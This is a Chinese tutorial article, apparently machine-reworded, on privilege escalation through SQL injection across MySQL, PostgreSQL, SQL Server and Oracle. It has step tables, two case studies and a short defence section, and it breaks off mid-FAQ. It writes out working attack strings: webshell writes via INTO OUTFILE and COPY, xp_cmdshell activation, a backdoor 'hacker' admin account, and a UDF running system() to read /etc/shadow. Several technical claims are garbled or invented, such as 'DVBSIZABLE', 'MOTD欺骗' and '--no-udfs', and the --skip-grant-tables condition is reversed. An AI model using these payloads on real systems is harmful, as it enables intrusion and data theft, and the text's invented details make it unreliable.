当前位置:首页 > 数据库 > 正文

注入数据库怎么提权

通过SQL注入破绽,攻击者可构造反面语句绕过身份验证,直接操作数据库执行高危命令,进而获取管理员权限或改动系统

数据库注入是一种严重的网络安全威胁,其核心在于通过向应用程序传递反面SQL语句,操纵后端数据库的行为,若攻击者成功利用该破绽实现“提权”(Privilege Escalation),则可能突破原有账户权限限制,获得数据库管理员甚至操作系统的最高控制权,以下从技术原理、实施路径、典型场景及防护策略展开深度解析,需特别说明的是,本文所述内容仅限用于合法授权的安全测试与研究,任何未经授权的攻击行为均属违法。


数据库注入提权的核心逻辑

数据库注入的本质是输入验证缺失导致的代码拼接破绽,当应用层未对用户输入进行充分过滤时,攻击者可将原本作为数据的参数改动为SQL指令,从而间接控制数据库行为,提权的关键目标在于:
纵向越权:从普通用户升级为DBA或超级管理员;
横向扩展:跨表、跨库访问敏感数据;
系统级控制:通过数据库服务破绽渗透至操作系统。

注入数据库怎么提权  第1张

阶段 关键动作 技术难点
破绽探测 判断是否存在注入点 正则匹配错误回显特征
信息收集 获取数据库版本、用户权限、表结构 使用version(), tables等内置函数
权限分析 确认当前会话的权限边界 测试SELECT, INSERT, DROP等操作
提权尝试 构造高权限操作语句 依赖数据库特性与配置缺陷
持久化利用 创建后门账户或自动化脚本 规避日志审计与载入检测

主流数据库的提权技术对比

不同数据库系统的架构差异直接影响提权难度,以下是常见数据库的典型提权路径:

MySQL/MariaDB

  • 核心机制:基于角色的访问控制(RBAC),默认存在root@localhost超级账户。
  • 经典手法
    • 堆叠查询(Stacked Queries):通过分号分隔多条语句,' UNION ALL SELECT NULL,IF(SUBSTRING(password,1,1)=CHAR(0x41),BENCHMARK(1000000,MD5('A')),1) FROM users#
    • 写入文件(Into Outfile):若secure_file_priv目录可写,可导出数据至Web目录(如/var/www/html/shell.php);
    • MOTD欺骗:修改mysql.user表的authentication_string字段,伪造登录凭证;
    • UDF提权:编译自定义SO插件(需file_privilege权限),加载后执行系统命令。
  • 限制条件:需关闭--skip-grant-tables启动参数,否则无法修改权限表。

PostgreSQL

  • 特色功能:支持COPY命令直接读写文件系统,且默认允许创建临时表空间。
  • 提权路径
    • 拷贝至OS文件COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/tmp/shell.php';
    • 扩展安装:创建自定义扩展(Extension),嵌入C语言编写的危险函数;
    • SQLJ发起二次注入:通过CREATE OR REPLACE FUNCTION定义存储过程,递归调用自身实现任意代码执行。
  • 防御重点:禁用superuser权限给非必要账户,限制pg_readme等元数据的访问。

Microsoft SQL Server

  • XP_CMDSHELL风险:默认禁用xp_cmdshell存储过程,但可通过以下方式激活:
    • 修改注册表键值HKEY_LOCAL_MACHINESOFTWAREMicrosoftMicrosoft SQL ServerMSSQLServerSuperSocketNetLibTcpEnabled
    • 使用sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  • 代理执行:通过OPENQUERY绕过视图权限限制,或利用LINKED_SERVER跨实例查询。
  • OLE Automation攻击:调用WMI、WScript等组件执行PowerShell命令。

Oracle

  • DVBSIZABLE特权滥用:拥有此权限的用户可直接创建DBA角色;
  • Java存储过程:上传反面JAR文件,调用Runtime.getRuntime().exec()
  • 外部表(External Tables):映射操作系统文件为数据库表,实现任意文件读取/写入。

实战提权步骤详解

Step 1:确认注入点类型

类型 特征 示例
数字型注入 参数为整数,报错提示具体列名 id=1' AND 1=1--
字符型注入 参数含字符串,单引号被转义 name='admin' OR '1'='1'
布尔型盲注 无显式错误返回,仅凭真假结果推断 ' AND (SELECT ...) > 0
时间型盲注 根据响应延迟判断条件成立与否 ' AND sleep(5)--

Step 2:获取基础信息

-MySQL示例:获取数据库版本与当前用户
SELECT @@version, USER();
-PostgreSQL示例:列举所有表名
SELECT table_name FROM information_schema.tables;
-MSSQL示例:查看链接服务器配置
EXEC sp_linkedservers;

Step 3:尝试基础提权操作

  • 添加新用户(需CREATE USER权限):
    -MySQL: 创建具有ALL PRIVILEGES的新用户
    CREATE USER 'hacker'@'%' IDENTIFIED BY 'password';
    GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' WITH GRANT OPTION;
  • 修改现有用户密码(需UPDATE权限):
    -PostgreSQL: 重置postgres用户密码
    ALTER USER postgres WITH ENCRYPTED PASSWORD 'newpass';
  • 启用危险功能(需ADMIN权限):
    -MSSQL: 开启xp_cmdshell
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;

Step 4:高级提权技巧

  • UDF/DLL劫持(适用于MySQL/PostgreSQL):
    1. 编译带有系统调用功能的动态链接库(如Linux下的lib_udf.so);
    2. 通过CREATE FUNCTION注册为自定义函数;
    3. 调用该函数执行命令(如SELECT my_system('whoami');)。
  • 文件读写组合攻击
    • 第一阶段:将WebShell写入网站目录(如INTO OUTFILE '/var/www/html/cmd.php');
    • 第二阶段:通过浏览器访问http://target/cmd.php?cmd=ls获取服务器信息;
    • 第三阶段:上传更复杂的反向Shell或Meterpreter载荷。
  • 链式提权
    • 先通过注入获取低权限账号;
    • 利用该账号的有限权限读取配置文件(如/etc/passwd);
    • 根据发现的线索继续横向移动(如SUID程序、cron任务)。

真实案例复盘

案例1:某电商网站订单改动+提权事件

  • 破绽入口:搜索框未过滤price参数,存在整型注入;
  • 攻击流程
    1. 通过ORDER BY id DESC推测出数据库结构;
    2. 使用UNION SELECT @@version,USER()确认为MySQL 5.7;
    3. 发现当前用户仅有SELECT权限,但可访问information_schema库;
    4. 查找包含敏感信息的表(如payment_logs),发现管理员邮箱;
    5. 构造钓鱼邮件冒充客服,诱导管理员点击带XSS的链接;
    6. 结合前端XSS与后端SQLi,最终获取管理员Cookie并登录后台。
  • 教训:即使初始权限较低,仍可通过社会工程学扩大战果。

案例2:政府网站UDF提权事件

  • 攻击特征:攻击者上传了名为lib_syscall.so的UDF库;
  • 技术细节
    • 该库导出了一个名为exec_command的函数,内部调用system("/bin/sh -c %s")
    • 通过SELECT exec_command("cat /etc/shadow")成功读取系统影子文件;
    • 后续替换为持久化的计划任务,每日凌晨同步最新数据至攻击者服务器。
  • 修复方案:禁止普通用户创建UDF,启用--no-udfs启动参数。

防御体系构建指南

层级 措施 工具/配置示例
应用层 预编译语句(PreparedStatement)、ORM框架 Hibernate、MyBatis
Web层 WAF规则拦截常见注入Payload(如' OR 1=1-- ModiSecurity、Cloudflare
数据库层 最小权限原则、禁用不必要的存储引擎(如FEDERATED) REVOKE ALL ON . FROM 'public'@'%'
系统层 定期更新补丁、限制数据库服务的网络暴露面 firewalld、iptables
监控审计 记录所有DDL/DML操作日志,设置异常行为告警(如深夜大量DROP操作) Audit Trail、ELK Stack

相关问答FAQs

Q1: 如果数据库开启了严格模式(STRICT_MODE),还能进行注入吗?

A: STRICT_MODE主要用于约束数据完整性(如禁止NULL插入NOT NULL字段),对注入本身影响有限,但以下两点需要注意:① 错误处理会更严格,可能导致盲注失败;② 部分隐式转换会被禁止,此时应转向时间型盲注或基于布尔条件的推理攻击。

Q2: 如何检测是否存在UDF提权风险?

A: 可通过以下方法排查:① 查询func表查看已注册的函数来源;② 检查plugin_dir目录下是否存在可疑文件;③ 监控进程加载的动态库(如ldd命令),推荐使用专业工具如`mysql-audit

0